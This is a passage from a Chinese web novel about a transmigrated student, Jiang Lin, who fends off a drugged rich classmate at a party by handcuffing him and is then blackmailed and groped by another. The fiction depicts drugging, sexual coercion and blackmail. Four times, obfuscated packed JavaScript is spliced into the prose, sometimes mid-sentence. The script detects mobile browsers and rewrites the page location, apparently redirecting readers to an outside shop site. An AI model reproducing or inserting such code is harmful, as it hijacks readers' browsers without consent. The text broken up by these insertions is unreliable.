“你这种低劣的手段......我十岁的时候就见过了。”秦锐清身为大家族的继承人,从小受到的诱惑数不胜数,自然不可能沦陷在江林的低劣手段下。 江林露在头发外面的耳根都红透了,像是被戳穿小心思的老实人,最后低声交代:“我不会抽烟,都是学的电视里的......” 秦锐清还想说什么,便见秦朗端着蛋糕从厨房蹦蹦跳跳地走了出来。 秦锐清便收回了更难听的话:“夹紧你的狐狸尾巴。” 江林似有不忿,小声嘟囔着还嘴:“我没有狐狸尾巴。” 秦锐清眼尾扫过去,江林已经起身朝着茶几走去,像是没看见他的警告,留给他一个高挑清瘦的背影。 秦朗像是换了个人,在他霸道哥哥面前毕恭毕敬地说:“老师,吃蛋糕吧。” 晚饭的时候,江林被留下来和这兄弟俩吃饭。 这原本就是家教里面包含的福利。 晚餐极为丰盛,天上飞的,海里游的,地上爬的,像是满汉全席似的摆了一大桌,保守估计得有三十多道菜。 吃饭的时候,只有细微的咀嚼声,秦朗和哥哥的感情几乎为零,只是充满畏惧,而江林自然也跟这兄弟俩毫无共同语言,专心吃饭。 秦锐清已经将江林和想要勾引他的男人划上了等号,自己都没有察觉到自己的视线时不时落在他身上。 见江林目不斜视,双眼只有饭菜,还不以为然地觉得他装得够好的。 江林肚子实在撑不下了,才堪堪停下来,前些日子一直都是一些蔬菜,清汤寡水的,他自己都要成为一株小白菜了。 “孟老师,我让司机送你回学校吧。”管家阿姨贴心安排。 秦锐清仿佛随口一说:“我带着他。” 管家阿姨惊讶于大少爷的热心,微笑说道:“好的,麻烦少爷了。” 秦朗则是满脸兴奋,秦锐清终于要走了!! 江林没有拒绝的权利,也不想拒绝,坐地铁需要一个多小时,专车接送的话,只需要半个小时就能到达学校宿舍。 在秦锐清的库里南里,司机在前面开车,他和秦锐清坐在后面,头顶着星空,江林背着黑白色的书包,里面还有今天的专业课书本和笔记。 秦锐清等着江林主动搭话,结果发现他两眼放空,似乎在发呆,双目无神。江林正在发饭晕,根本不知道秦锐清的期待。 直到发现路线不对,才转头看向正直直盯着他,以怀疑目光看着他的秦锐清,轻声道:“这不是去学校的路。” 秦锐清冷淡道:“我没有说过要带你去学校。” 不知道怎么的,秦锐清又闻到了那股似有若无的香味,幽香阵阵,带着钩子似的,馋得人不行,又像是羽毛,挠着人心间发麻。 江林怔了怔,哦了一声,不说话了。 瞧见他的反应,秦锐清忍不住蹙眉,靠在背倚上,低声问:“你不想知道我要带你去哪吗?” 江林就乖顺地问:“你要带我去哪?” 秦锐清一噎,调整了一下情绪,才用冰冷的语气说道:“李炎诞知道你在我家教,让我带你去玩儿。” 江林:“哦。” 秦锐清:“......” 江林刚刚在记忆寻找剧情,这段时间,他将学校的部门和社团都退掉了,任何的人邀约都拒绝。 崔嘉树多次邀请,江林都委婉拒绝。 在原剧情中,原主因为是从小县城出来的,根本没有见识过上层社会的纸醉金迷,虽然骨子里很瞧不起这些富二代,但内心自卑,又拒绝不了他们的邀请,逐渐被富贵迷住了双眼。 他也起了想要穿名牌、开豪车、混进上流的心思,不过因为没钱,只能作罢。 但后来原主和f3搞在一起之后,就沉溺在众人艳羡的目光中,再也找不到自我。 直到被坠下云端才幡然醒悟。 这场聚会根据时间线对照,应该是某个富二代的生日,然后原主盛装出席,明明格格不入,又要穿着假货强行融入,显得格外可笑。 需要画重点的是——下药的剧情虽迟但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13732762|145076||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到。 李炎诞第一次和原主成事,还是原主跪在地上求来的,而李炎诞只是可怜他,才施舍他一点眼神。 虽然第二天满地的byt,但李炎诞依旧嘲讽原主索然无味,是个呆木头,原主还因此高烧住院,住了一星期。 李炎诞都没来看过他一眼。 江林默默呼出一口,感叹着就算刻意躲避再多的剧情,当某些劲爆剧情出现的时候,他想躲都躲不开。 江林做过数不清的任务,几乎什么困难都遇见过,但像这种让他躺平雌伏男人身下,他不可能做到。 这是他的底线。 偏偏像这种无序的世界,他还真是第一次遇见,莫名其妙地相互吸引,毫无逻辑地交集,像是推动着他打破底线。 江林大概知道是谁这么不要脸了。 秦锐清见江林这么不识好歹,他也不想再多言,等着江林来求他的一天。 车内持续降低的气压,让司机搓了搓手臂上的鸡皮疙瘩,从后视镜看去,便见他家少爷冷着一张脸,像是被嫌弃的怨妇,而旁边坐着的少年正乖巧地坐在椅子上,蹙着眉,不太开心,脸上也带着纠结的神色。 相比仿佛成熟男人的少爷,旁边的少年更像是白嫩又纯洁的高中生...... . 车在郊外的别墅区停下,名车云集,正在有序地驶入,秦锐清扫了一眼像是吓傻了的江林,勉为其难地说道:“如果不想遇见麻烦,可以跟在我身后。” “但是不要动什么鬼点子。” 江林努了努嘴,心想跟在他们身后才是最危险,都在惦记他的屁股,但脸上乖巧一笑:“好的,谢谢你。” 秦锐清被他月牙似的眼晃了一下,一瞬而过的表情,像个乖顺的小白兔,两个无形的兔耳朵都在空中晃荡着。 但是下车没几分钟,秦锐清再去找江林,却连影子都没见着了。 江林躲在不起眼的角落查看手机,这边郊区,车打不到,又没地铁和公交,一天只有上午和中午两趟大巴能够回市区。 所以只有两个选择,第一,蹭车,第二,在郊区酒店过夜。 蹭车有风险,保臀需谨慎。 这边地产都是被有钱的富豪买了,建造了一个富二代们聚会的场所,酒店很多房间,不愁没得住。 还有帐篷,泳池,香槟派对,穿着华丽的男女,而裹紧小卫衣小心挪动的江林,像是丑小鸭进入了白天鹅们的领地。 江林找到一个端着酒的服务生,说出一套不小心和朋友走丢的话术,成功让人领着自己找到了一个空房间。 到了私密空间之后,江林才歇了一口气,房间很宽敞,分为客厅,卧室。 卧室里还有大浴缸,落地窗大阳台。 江林打开窗将房间内许久没住人而产生的陈旧潮湿味道吹散了些,他拿出手机,看了一下时间,已经十点多。 楼下的派对才刚刚开始。 只要他躲在房间里,应该不至于再次中药。 像这种酒店的保密性工作做得很好,一间房间只有一张房卡,确保不会有人打扰到尊贵客人的休息...... 正悠闲靠在沙发上看笔记的江林,被巨大的摔门惊了一瞬,抬头朝着门口看去。 他和站在门口脸颊潮红,双目猩红,状态明显不对劲的李炎诞对视一眼,心中瞬间骂了一句脏话。 5. 第5章 5.“这......嘉树哥,这样真的好吗?”这次生日的主角李希脸颊泛着红,也是满脸醉态,望着监控视频中李炎诞的身影走进房间。 崔嘉树坐在沙发上,穿着剪裁合体的定制西服,白金色的西装衬得青年越发温柔矜贵,修长手指支着下巴,在身后一众面红耳赤的醉鬼面前,更加显得独树一帜,眉眼温润含笑:“没事,里面的客人会照顾好小炎的。” 李希嘴唇蠕动,对上崔嘉树似笑非笑的眼神,犹豫的话便变成了赞同:“那我们还是不去打扰炎哥的好事了。” 他实在不敢有异议,这边城郊这块地皮是崔家的,地皮上的所有建筑也都是他的家,如果惹得他不开心了,李希这个寿星怕是都会被无情地扔出去。 . 江林内心短暂惊讶了一瞬,便忍不住吐槽剧情的强大,像是狗皮膏药似的,躲都躲不掉。 李炎诞大步流星的朝着江林走来,但身体偏晃,眼前只有一个模糊的身影,他意识不太清醒,但又能隐约知道自己在干什么。 他心中怒骂崔嘉树这人恶心,居然因为所谓的赌约给自己下药。 刚刚众人喝到兴头上,崔嘉树便提议玩游戏,李炎诞怎么输的都不知道,只听见崔嘉树说要和他打赌,赌他是深柜。 崔嘉树说什么恐同就是深柜,简直就是放屁,老子一个钢铁大直男! 李炎诞气势汹汹,他倒要看看,是哪个男的不知死活居然想要勾引他! 他完全将自己私闯房间当成了理所当然。 江林站起身,隔着沙发和李炎诞保持安全距离,喊了一声,试图唤醒他的理智:“李炎诞?” 李炎诞是大双眼皮,此刻有些呆呆地瞪大,像一只大眼猴,他骂了一句:“草,怎么是你?” 旋即,他脸上露出了厌恶的神色,不等他说出更难听的话讽刺他的包藏祸心,江林拿起书包,自顾自点了点头:“我知道了,我现在就走,不打扰你的好事。” 说完,他动作干净利落的走人,留下一个疾步行走的背影,但喝醉的李炎诞反应很快,没等江林踏出房门,便一个箭步追上来一手拽住江林的书包,将已经一只脚踏出的少年拖了回去。 门被重重关上。 江林瞬间被酒气包裹,轻微蹙眉,他被李炎诞掼到墙上,还好有书包缓冲,并没有受伤,他的下巴也被李炎诞捏起。 李炎诞双眼通红,眼底浮动着激动的情绪,手指陷入了少年的脸颊,望着他白净的脸庞,那张常常慌乱自卑的脸上,不见半点慌张,他觉得有些奇怪,忍不住凑近去看他的眼睛。 骤然凑近的俊脸,让江林偏头躲开他的呼吸,李炎诞似乎没有意识到这个距离的亲密,那热腾腾的呼吸洒在江林脸侧。 江林原本就敏感的肌肤浮现一丝粉红,眼睫抖动,这个距离对他来说也很近。 李炎诞轻轻嗅了一口,只觉得很香,像喷了香水一样,他后知后觉地反应过来眼前少年的抗拒和嫌弃。 “你他妈敢.....嫌弃我?”李炎诞的质问难以置信,手指用力捏着他的下巴,将人转过来对视上他的双眼。 江林被他逼至一个狭窄的空间,身后是冰冷的墙壁,前面是炙热滚烫的人墙,他的手指也是发烫的温度。 打开的窗户吹着微凉的秋风,窗帘呼呼作响,浓厚漆黑的夜沉寂在窗外,夜格外凉,显得屋内的气氛犹如燃烧的焰火般炙热。 李炎诞瞪着他,视线模糊,一团团光晕散在少年周围,手指间的触感很细腻,江林因为被捏着脸颊,所以嘴唇微微撅起,像是在渴求亲吻般。 平日里,那张惹人憎恶的脸,此刻却显得有些可爱和......性感。 唇粉粉嫩嫩的。 嘴都撅起来的,一定很想被亲吧。 李炎诞控制不住地想,脑子像是被什么东西控制了,不断朝着江林靠近。 江林在李炎诞唇落下的那一秒,伸手捂住他的嘴,黝黑的眼瞳冷静,没有被焦灼的气氛影响半分。 他挣开李炎诞的手,问:“李炎诞你想亲我吗?” “我怎么可能想亲你?”李炎诞刻在骨子里的傲慢,让他不假思索的回答道:“你以为你是什么东西?” 江林抬手推开他,但也只是堪堪拉开一小段距离,见李炎诞还保持着基本的沟通能力,便试图讲道理:“即然你瞧不起我,那能让我走吗?” 这个问题让李炎诞拧起眉头,问题又回到最初的起点,李炎诞压住他的肩膀:“你刚刚在嫌弃我?” “不是,我只是不喜欢和男人靠得这么近。”江林尽量没去触怒酒鬼。 许多惨案都发生在男人喝醉酒,情绪放大数倍,冲动之下犯下的错。 李炎诞浑身发烫,酒劲和药效都在身体里发酵,他原本的声音变得含含糊糊,触碰到江林脸颊的指腹,是浑身最舒服的部位。 江林的肌肤好像有某种冰镇效果。 “我中药了。”李炎诞突然坦白。 江林:“?” “我帮你叫救护车。” 李炎诞抓住江林的手腕,动作很大,伸手抱住了江林,手搂住他的腰,脸埋在他颈侧,那股好闻的香味越发浓郁了,仿佛致命的吸引。他在江林耳畔,喘着粗气:“孟南星,你帮我一晚,以后我都罩着你怎么样?” “不怎么样。”江林面无表情地回答,颈侧洒在他肌肤上的呼吸,带着潮湿的水汽,让他头皮发麻,浑身鸡皮疙瘩都竖起来了。 但李炎诞已经听不见他的回答,手指从江林的衣摆滑入,摸到那细细的腰身,但并不是柔软的肚子,而是一层薄薄有力的腹肌。 江林按住他的手腕,用肩膀顶了一下他在江林肩膀轻吻深嗅的脑袋,让李炎诞原本想要舔舐肌肤的舌尖狠狠磕到了牙齿。 “等下,李炎诞,我们先去卧室吧,客厅有监控。”江林胡扯一个理由道,将自己的书包放在一个安全的位置,牵着李炎诞的手往卧室走。 李炎诞呼吸沉重,眼前光影重叠,视线一阵阵模糊,随着时间的发酵,江林意识越发趋近于野兽,遵循着本能,从身后抱住了江林,埋进他的肩膀狠狠咬了一口。 因为太过渴望,所以恨不得将人先吃进肚里。 下一秒,手腕上袭来冰冷的触感,肩膀被狠狠翻折,双臂出现剧痛,他的牙关吃痛松开,手上被套上了手铐。 脸上也传来剧痛,是江林拳头砸在他脸上造成的痛楚。 江林冷着一张脸,抬手撩开肩膀上的衣料,发现一个圆圆的牙印。他其实不排斥男性,但像这种被强迫的感觉他很不喜欢。 李炎诞表情空白了几瞬,然后暴跳如雷,叫骂道:“你想死吗?!” 他挣扎要起来,又被江林一脚踹了回去。 李 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13732763|145076||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 炎诞又震惊了一次,然后就被江林拿出另外一副手铐,锁在了床头。 “你......到底想干什么?”李炎诞挣扎着,动作剧烈,一身蛮劲的李炎诞甚至让床都晃动了一瞬,连带着整个房间都有一种地动山摇的感觉。 江林保持着安全距离,黑框眼镜遮住冷淡黑眸,零碎的刘海显得有些凌乱又柔软,他一板一眼地回答他的问题:“我只是不想被男人搞而已。” “孟南星,你给我解开,我操了,你他妈的怎么敢的?”李炎诞脖子上的青筋鼓起,显得脸红脖子粗的破防:“我也不是同性恋,你放开我,我保证不动你!” 江林只是轻飘飘一句:“我不信。” 然后任由李炎诞在卧室无能狂怒,捡起书包,最终还是选择了留下,毕竟出门不知道会不会再一次遇见第二个傻逼‘李炎诞’。 李炎诞起初的声音洪亮,骂得很脏,几乎江林祖宗十八代都被骂完了,后来声音越来越小,喘息却越来越大,声线发颤。 江林泰然自若地看书。 “再给你最后一次机会。” “孟南星,你别等老子出去,老子弄死你!” “你这个吃了熊心豹子胆的臭虫,你死啊!!” ...... “不行了......” “我真的不行了,要死了......” “你真的不管我吗?” “孟南星......” 李炎诞最后一句话都染上了哭腔,毕竟是没受过什么罪的少爷,如今烈火焚烧般的痛苦让他难以忍受,被绑在卧室惨遭嫌弃的耻辱更是烧心烧肺的崩溃。 “我死了,我爸妈不会放过你的。” 毕竟涉世未深,没遇到过什么挫折,遇见困难第一时间也只会搬出有权有势的父母。 江林没理会他的威胁,也没有管他的服软求饶,直到估摸着时间,确定他没了力气,不会再对自己造成威胁了之后,才关上书本走进卧室。 李炎诞桀骜不驯的脸上带着潮红,微微眯着眼,眼底泪光闪烁,他趴在床上,刘海被汗水沁湿,他西裤贴身,估摸着浑身都应该已经湿透了。 尽管李炎诞一动不动,仿佛被抽掉了骨头的野兽,但那如同有实质的掠夺眼神,还是让江林感受到了他的攻击性。 江林站在床边,扫了一眼狼藉的床,床垫乱了,盖被早就被他踹到地上,他双腿大剌剌敞开,依旧在对着江林无声挑衅。 江林知道只要给李炎诞机会,他绝对会反咬一口。 “你看起来状态不错。”江林轻声说,唇角泛着微笑。 李炎诞扯了扯嘴角,手腕破了皮火辣辣地疼,但身体像是热量爆炸,要将肌肤都涨破浑身疼痛难忍,让他暂时忽略了流血的手腕。 “你有种这样绑我一晚上。”他的声音早就嘶哑,明明虚弱得不行,但对上江林又忍不住伸出自己的爪子挠人。 “你知道我并不想和你作对的。”江林用很无辜的语气解释着:“我知道你也不想和我发生关系,只是因为中药了,身不由己而已,我都懂。” 李炎诞舔了舔干燥的嘴唇,恶狠狠地说:“呸,你现在乖乖撅起屁股给我干一次,我考虑一下放过你。” 江林愣了一下,唇角泛起讽刺的笑:“李炎诞,你不是说你是直男吗?” “你恶不恶心啊。” 6. 第6章 6.李炎诞听见江林的话,虽然觉得气愤,却毫无力气再反抗,从鼻尖传出粗重的喘息声,他闭口不再多言,甚至眼不见心不烦地闭了眼。 他骂也骂了,求也求了。 不会再自取其辱了。 江林见他眉眼间实打实的苦楚,便也不准备再挑衅他身体的极限,心中也盘算着,那些人就算对李炎诞下药,也绝不会是那种会危及生命的,便没有多着急。 李炎诞听见一声脆响,是手铐相撞发出的声音,他酸胀的眼皮睁开一条缝隙,在看见地上的两个手铐时,才后知后觉的发现自己的双臂能够动弹了,虽然如千斤般沉重,骨骼酸痛。 江林没有管他的手臂酸不酸,直接将人从床上扶起来。李炎诞轻嘶一声,手臂落在江林肩膀上,被搀扶着他往浴室走去。 李炎诞偏头看着他,眼前的一切都在天旋地转,只有江林还能够清晰地落在他视网膜上,耳垂小巧白皙,修长的脖颈微微弯着,脸很小,像小猫似的。 感觉到越靠越近的李炎诞,江林加快脚步,拖着他的沉重的身体,艰难朝着浴室走去。 李炎诞双臂没有力气,浑身也软得厉害,被扔进浴缸中,都毫无反抗之力,他头还被撞了一下,霎那眼眶都红了。 “痛......”李炎诞说。 江林像是没听见,准备往浴缸里放水。 “等下。”李炎诞脸颊趴蹭在白色的浴缸旁,一双湿漉漉的眼睛看着他:“洗澡......不脱衣服吗?” 不等江林回答,李炎诞就自顾自地解开扣子,开始脱衣服和裤子,江林丝毫没有回避视线的意思。 大家都是男人,李炎诞有的东西他也有,没什么好害臊的。 但李炎诞手指没有力气,解不开,急得满头汗,江林蹲下身去帮了他。 李炎诞很快松开手,只是直勾勾看着垂着眼的江林,灼热的视线临摹着江林的脸,像是怎么都看不够般,冷水淋头浇来,他一个激灵想要逃,肩膀被江林从身后按住。 “你需要降降温。”江林在他耳边低声说道,低沉冷淡。 李炎诞没什么力气挣扎,逐渐迷糊的意识,整个人像是沉入水中,但在水淹没口鼻的下一秒,被人拖着脑袋救了起来。 他知道是江林在扶着他的脑袋,因为他闻见了江林身上的香味,劣质......又好闻的味道。 江林扫了一眼青年姣好的身材,有力的腰身,水下显得越发健硕,血管在涨红的肌肤下澎湃,平时眼高于顶,强势如风的李炎诞,现在虚弱又狼狈地躺在他手心。 “孟南星......”李炎诞意识模糊前都是喊得原主的名字。 对于李炎诞这种出生就众星捧月的天之骄子,也许今天是他最难受的一天。 泡了一夜冷水,第二天李炎诞住院了。 原剧情中,原主住院,现在变成了李炎诞。 ... 洁白的病房内,放着几捧花束,花篮水果桌子上都摆放不下,只能放在地上,李炎诞正在打退烧药,挣扎着醒来,刺眼光芒照进的瞬间,他看见了坐在旁边看书的江林。 李炎诞浑身难受,喉咙干痛得像是缺水的植物,张了张唇,第一时间没发出任何声音,还是江林注意到床上的动静,端来一杯水喂给他。 李炎诞就这么死死地盯着他,意识清醒,昨晚一些模糊的记忆浮现在脑海里,他记得江林锁着他手腕的事情,也模糊记得江林打了他。 他喝了水,总算能发出些沙哑至极的声音:“你不怕死吗?” 还敢出现在他面前,不怕他报复吗? 江林眨了眨眼,低头小声说道:“冤有头,债有主,不是我给你下的药,我为什么要害怕?” “你还在装......”李炎诞见他唯唯诺诺的样子,顿时气不顺:“你昨天不是很拽吗?” “我吗?”江林瞪大了双眼,显得极其震惊。 “你打了我......”李炎诞恶狠狠地看着他,像是随时可能暴起的模样。 江林退后两步,解释道:“我没有,我只是铐住了你的手腕,没有打你。” “你放屁,你还说恶心......”李炎诞目露凶光,拳头都捏紧了。 “不可能。”江林笃定地摇头,眉梢轻蹙:“肯定是你记错了,我不可能骂你。” 他这般笃定的神情,都让李炎诞怀疑自己是不是真的冤枉他了,毕竟昨晚他的意识的确不太清醒。 他甚至觉得江林这个乡巴佬,满身穷酸味的人很香?! 果然脑子不清醒了。 完全忘记自己昨晚心中立誓要弄死江林的激情澎湃。 “那我怎么会在这里,我们昨晚?”李炎诞皱眉问道,他昨天后半夜完全失去了意识,所以被泡了一晚上冷水的事情也不清楚。 李炎诞下一秒发现江林的脸颊瞬间爆红,视线也闪躲起来,他就炸了,“不会吧,我们真的......卧槽!” 江林憋红了脸,头越来越低,“没......我帮你用手......” 支支吾吾,含糊不清。 李炎诞闻言,盯了他一眼,狐疑道:“我被下了套,只要用手......就可以?” 江林想说,手都不用,因为昨晚上李炎诞的状态,蹭蹭床单都控制不住了。 “我知道炎哥你不喜欢男人,当然不会触犯你的禁忌。”江林表明忠心,黑瞳澄澈明亮,不含半点虚心。 不知道为什么,李炎诞心里并不觉得多开心,但这的确是最好的结果了。 “滚吧。”李炎诞精神不济又陷入了昏睡,有些懊恼自己什么都不记得了。 江林背上自己的小书包,歇了一口气,总算是把李炎诞糊弄过去了。 昨晚是他叫的救护车,然后主动留下来照顾李炎诞,就是为了趁着他脑子不清醒,先入为主澄清事实。 上午阳光正好,他唇角泛着微笑,灿烂如星的眸子,江林看了一下手机,现在回去正好可以赶上第三节市场营销课。 但他没想到,人来人往的医院,他也能被抓到安全通道里去‘谈心’。 江林悬着的心还没放下几秒钟,又提了起来,都还没来得及喘口气呢。 崔嘉树拽着他的手腕,将人壁咚在墙边,桃花眼含笑看着他:“我今天才知道我们小星是个小骗子啊。” 江林面对崔嘉树的时候要比李炎诞更加谨慎,李炎诞是个疑似超雄,但脑子不太好使,骗他很容易。 但崔嘉树却不是那么容易糊弄的。 “我......”江林想说什么,崔嘉树的食指落在他唇上,垂眼看着他笑。 “别撒谎哦,酒店的监控我都有,每个房间都有监控,包括浴室。”崔嘉树凑近江林,手指碰了碰他的镜框,然后把江林的眼眶摘掉:“现在你该求我了,小星。” 江林眼镜被摘掉,圆弧形的眼型,眸光水润,眼睑带着卧蚕,唇红齿白,长相相当漂亮。眼镜没了那股呆愣的气质散去不少,眉眼间又显得柔软,毫无锋利之感,像是能任由搓揉的白团子。 但看了那天监控的崔嘉树,知道他并不是脾气好的团子,相反脾气还很大。 江林突然反应过来,昨天给李炎诞下药的人应该就是崔嘉树,他这人不光爱好人/妻,喜欢抢好友的爱人,在剧情后期,他是热爱多人运动的变态,光看就能兴奋起来。 甚至喜欢比较原主在两人之间表现出的细微差别。 从而假借惩罚之名,做出更加恶劣的事情。 可以说4个人能够这么和谐,他居功甚伟。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13732764|145076||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 江林没有表现出崔嘉树想要的慌张,抬手想要拿回自己的眼镜,但崔嘉树往后躲,没让他拿到:“我眼镜很贵的。” 崔嘉树按住他的肩膀,温和说:“多少钱,我买了。” “一万。”江林两百的眼镜,狮子大开口。 “我给你转。”崔嘉树是宿舍里唯一有江林联系方式的,直接转了两万给他。 江林勉强忍住了想要和这个变态打一架的冲动。 “好了,不要转移话题。”崔嘉树顺着他的肩膀,捏了捏他的耳垂。 “啧。”江林不耐烦地蹙眉。 “为什么一直在我们面前演戏?”崔嘉树觉得他很好玩儿。 “没有演戏。”江林扬起下巴,做出厌恶的姿态:“我只是不喜欢你们这群富二代而已。” “仇富?”崔嘉树若有所思地打量着他。 “但我又得罪不起你们。”江林扬起的下巴又缩了回去,复杂又无奈的表情看着他,请求道:“我真的不是gay,能不能不要再玩弄我了。” “好。”崔嘉树像个温柔哥哥般,笑着回答,手指却碾着他的耳垂没松开。 江林没反抗,他越是反抗崔嘉树只会越兴奋。 “你亲我一下,我就不玩弄你了。”他故意将玩弄两个字咬得百转千回,浅棕色的瞳孔里沁着温柔的眸光。 崔嘉树不喜欢主动贴上来的同性恋,他更喜欢自己寻找猎物,尤其偏爱直男这一卦,他不认为世界上有真正的直男。 他喜欢看这些直男纠结打脸,最后对他爱而不得。 江林紧绷着脸皮,硬邦邦地说道:“不可能。” “那我把视频交给小炎咯。”崔嘉树不紧不慢地从耳垂摸到江林的颈侧,动作极为轻柔暧昧,仿佛在抚摸自己的爱人,但嘴里说着令人胆寒的威胁:“你猜,像他这样的人,如果知道你不光打了他,还欺骗了他......他会不会让你在这个学校待不下去?” “从小地方靠着分数考到南大不容易吧,小星是不是父母的骄傲呢。” 崔嘉树的软刀子刀刀割肉,戳着江林的心脏,原主的父母的确极其疼爱他,省吃俭用供他上学,负债累累也毫无怨言。 “崔嘉树。”江林脸上浮动着怒色,双眸像是点燃了两簇火苗,越发明亮夺目了。 “叫哥。”崔嘉树捧着他的脸,柔软的指腹摩挲着他的脸颊,距离逐渐靠近,唇角笑意炫目:“小星,你的眼睛好漂亮啊。” 江林偏开头,躲开他的吻,崔嘉树的吻落在他脸颊一侧,身上干净的味道像是阳光下晒得暖洋洋的被子,留下了阳光的味道。 足够温暖像崔嘉树这种阴暗爬行,见不光的生物。 崔嘉树的吻湿湿软软,甚至软舌从耳根舔到了唇角,留下丝丝水迹,江林肌肤敏感,瞬间就留下了红痕。 他舔了舔江林紧抿的唇角,双眼有些痴迷地想要用舌头撬开他的唇瓣,但是江林直接推开了他的脸。 “你别太过分了!”他像是恼羞成怒,眼眶都气红了。 崔嘉树拉开一点距离,眉眼弯弯:“好香啊,小星,像个香香软软的小蛋糕啊,好像吃掉你哦。” 江林脸色难看,真的有病。 崔嘉树话锋一转,“不过你不用担心,我喜欢抢别人的东西,所以你现在是安全的。” 江林的脸色并没有变得美妙,甚至更加冰冷了,骂了一句:“神经病。” 他转身离开,去找护士要了消毒酒精,将脸上的肌肤都进行了一次消毒。 江林是故意让崔嘉树靠近,既然根本无法控制和改变剧情,而且在他们阶级明显不对等的情况下,他只能想办法让他们狗咬狗。 江林的道德感和贞洁感并不强,倒也不是那种被男人亲一口就要死要活的类型。 7. 第7章 7.明亮宽敞的大学公共教室,明媚阳光落入原木色的桌面,映射出耀眼的光线,江林半张脸沐浴在暖阳中,脸上像是浮动着跳跃的金光,白皙的肌肤如雪,细小的绒毛让整个人显得温顺漂亮。 台上教授一眼扫过去,对上他专注认真的眼神,只觉得这糟心混乱的课堂都顺眼了几分。 他的眼镜被崔嘉树顺走了,并不影响江林上课,原主确实近视,但他不近视,早就换成没有度数的镜片。 江林从医院紧赶慢赶才赶在上课前三分钟进入课堂,还花了一百多的打车费,他心疼了一路。 逻辑学听得很多学生云里雾里,昏昏欲睡,台上的小老头虽然不管教室里的同学认真不认真,但往常期末挂科率是整个系最高的。 第二年补考的人数也是高居不下。 江林不敢怠慢,他要转专业,逻辑学也一定要拿到高分才行。 ... 中药的剧情过去三天,江林平静的大学生活彻底被打破了。 因为李炎诞即将搬回宿舍住。 在中药发生后,李炎诞和原主发生关系,李炎诞就顺理成章地搬回了宿舍,单方面对原主进行控制和掠夺。 现在情况虽有所不同,但……结果并没有改变。 难得一天,1808宿舍全员聚齐,江林非常后悔自己为什么没有一早就去图书馆,避开这几个不确定因素。 李炎诞拖着个箱子出现在宿舍门口,将门敲得震天响,将正在认真看书的江林吓得一激灵,两秒钟没去开门。 李炎诞就叫嚷起来:“孟南星,开门!我知道你在里面,再不开门......” 江林蹙起的眉头在开门的瞬间变成了惊讶的神情,他让开一条通道,默默打量着李炎诞黑沉的脸色,心中稍稍惊讶,高烧四十度居然三天就恢复了精气神,身体倒是真的够强壮。 “杵在门口做什么?当门神啊。”李炎诞语气不善,像是吃了炮仗。 因为江林没戴眼镜,李炎诞下意识地多扫了两眼,刘海太长,阴影撒下,遮住了大半张脸,显得眉眼阴沉。 很符合李炎诞对原主的刻板印象,像是见不得光的阴湿老鼠。 江林没作声也没犟嘴,对于李炎诞这种吃软不吃硬的人来说,犟嘴是会挨揍的。 然后没多久,崔嘉树和秦锐清也回了宿舍,江林降低自己的存在感,却一眼看见崔嘉树鼻梁上的眼镜是自己的。 “你怎么开始戴眼镜了?”李炎诞没认出那副眼镜是江林,拧着眉,语气还是很冲。 崔嘉树推了推镜框,那四四方方的黑框眼镜,他戴着越发像是温柔学长的感觉,朝着江林看了一眼,见他低着头,便笑着说道:“朋友送的,想戴就戴了。” “丑死了。”李炎诞不客气的评价。 秦锐清冷着一张脸,环抱着手臂倚在桌前,打断两人的话:“我不是来听你们插科打诨的。怎么回事你?” 秦锐清问的是李炎诞。 江林背对着三人,手上握着笔,填着英语练习题的选项,仿佛无声的背景板。 “傅清池那狗日的,告老子的状!我靠!有病一样,跟我们家老爷子说,我在外面养男人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13732765|145076||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ......老子养个屁的男人啊,说了老子是直男!”李炎诞气得不轻,李家三代单传,生怕家里皇位没人继承。 李家老爷子拿出了那一招对于富二代来说绝杀的招式,限额禁卡,现在李炎诞被逼着搬回学校好好学习。 “你怎么得罪他了?”崔嘉树眉梢一挑,张开腿往后坐在椅子上,双臂放在椅子靠背上,长腿一伸踩在江林凳子的横枨上,动作不算大,却引起了李炎诞的注意。 不过他也不在意,只以为崔嘉树在欺负江林而已。 